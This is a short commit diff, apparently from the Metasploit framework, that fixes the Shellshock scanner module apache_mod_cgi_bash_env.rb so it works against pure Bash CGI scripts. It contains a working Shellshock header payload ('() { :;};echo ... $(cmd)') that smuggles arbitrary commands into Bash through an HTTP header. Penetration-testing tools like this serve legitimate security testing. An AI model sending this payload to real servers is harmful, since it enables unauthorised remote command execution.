Fix bad header error from pure Bash CGI script

Author: wvu

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

@@ -101,11 +101,15 @@ def req(cmd)
       'method' => datastore['METHOD'],
       'uri' => normalize_uri(target_uri.path),
       'headers' => {
-        datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
+        datastore['HEADER'] => sploit(cmd)
       }
     )
   end
 
+  def sploit(cmd)
+    %Q{() { :;};echo -e "\\r\\n#{@marker}$(#{cmd})#{@marker}"}
+  end
+
   def marker
     Rex::Text.rand_text_alphanumeric(rand(42) + 1)
   end